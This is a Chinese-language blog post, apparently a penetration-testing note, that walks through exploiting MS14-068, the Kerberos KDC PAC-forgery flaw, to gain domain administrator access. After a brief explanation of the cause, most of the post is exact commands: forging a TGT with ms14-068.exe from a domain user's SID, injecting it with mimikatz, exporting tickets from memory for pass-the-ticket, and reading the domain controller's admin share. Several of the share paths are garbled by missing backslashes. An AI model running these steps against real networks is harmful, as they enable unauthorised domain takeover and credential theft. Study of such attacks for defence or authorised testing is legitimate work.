zoukankan      html  css  js  c++  java
  • 域渗透:MS14-068

    更新:2020_01_17

    漏洞: MS14-068

    补丁编号: kb3011780 用于解决Microsoft Windows Kerberos KDC漏洞(CVE-2014-6324)

    查看是否打补丁: systeminfo |find "3011780

    漏洞原理:

    MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中
    插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过
    呈现具有改变的PAC的Kerberos TGT来获得票证.

    自己也不会讲,因为自己也不太深入了解,就不哗众取宠了...

    漏洞原因:

    A、在域中默认允许设置Include-pac的值为False(不能算漏洞,应该是微软对于某些特定场景的特殊考虑设计出的机制)。

    B、PAC中的数字签名可以由Client端指定,并且Key的值可以为空。

    C、PAC的加密方式也可以由Client指定,并且Key的值为generate_subkey函数生成的16位随机数。

    D、构造的PAC中包含高权限组的SID内容。

    也就是说通过这几点Client完全伪造了一个PAC发送给KDC,并且KDC通过Client端在请求中指定的加密算法来解密伪造的PAC以及校验数字签名,并验证通过。

    更详细的参考这篇文章:https://www.anquanke.com/post/id/172900?display=mobile&platform=iOS


    漏洞利用前提:
    1.域控没有打MS14-068的补丁(KB3011780)
    2.已经拿下一台加入域的计算机
    3.有这台域内计算机的域用户密码和Sid

    漏洞利用过程:

    1、生成TGT:

    net config workstation

    ms14-068.exe -u yuyonghu01@top.pentest.top -s S-1-5-21-2174377853-1962599352-171107088-1128 -d top.pentest.top

    生成的票据:

    2、注入TGT:

    先查看自己的klist 如果有的话 那么先清理掉 否则可能会导致无法成功
    klist

    清理原来的票据:klist purge

    清除票据的原因:https://www.t00ls.net/viewthread.php?tid=28727

    利用mimikatz进行注入

    非交互式中直接执行一句话
    mimikatz.exe "kerberos::ptc TGT_yuyonghu01@top.pentest.top.ccache" exit
    

    注入成功!

    查看票据:
    klist

    尝试访问域服务器,这里需要注意的不能用ip访问,因为是通过协议来进行认证的
    dir \WIN-CKT0M35R6UO.top.pentest.topc$


    后门Export the ticket:利用的是TGT默认保存在内存里,而且有效期为10小时,攻击者拿到TGT则可以直接向KDC申请访问Server的ST(也就是TGS Ticket),导致可以冒充用户获得访问权限 (PTT攻击)

    再导入票据之前先清除下票据,以防止之前实验的因素的干扰
    klist purge

    通过mimikatz导出内存中的Ticket,执行:
    sekurlsa::tickets /export

    如图:

    挑选其中的[0;7d8508]-2-0-60a00000-yuyonghu01@krbtgt-TOP.PENTEST.TOP.kribi在域普通用户的主机进行导入

    导入:
    mimikatz "kerberos::ptt [0;7d8508]-2-0-60a00000-yuyonghu01@krbtgt-TOP.PENTEST.TOP.kirbi"

    尝试访问域控服务器:
    dir \WIN-CKT0M35R6UO.top.pentest.topc$

  • 相关阅读:
    Java的异常类的整理
    java中tostring的重载
    java中的引用于c++的指针的相互代替(就以创建简单的栈去讲解)
    Java版单词搜索
    Java/C++的正则表达式的总结归纳
    某个整数的全排列问题
    DFS+单词搜索
    一维数组组合
    离线升级OpenSSH详细步骤 ——安全漏洞修复(实战篇 Centos 6.5/6.10 操作系统)
    Mysql子查询
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12114835.html
Copyright © 2011-2022 走看看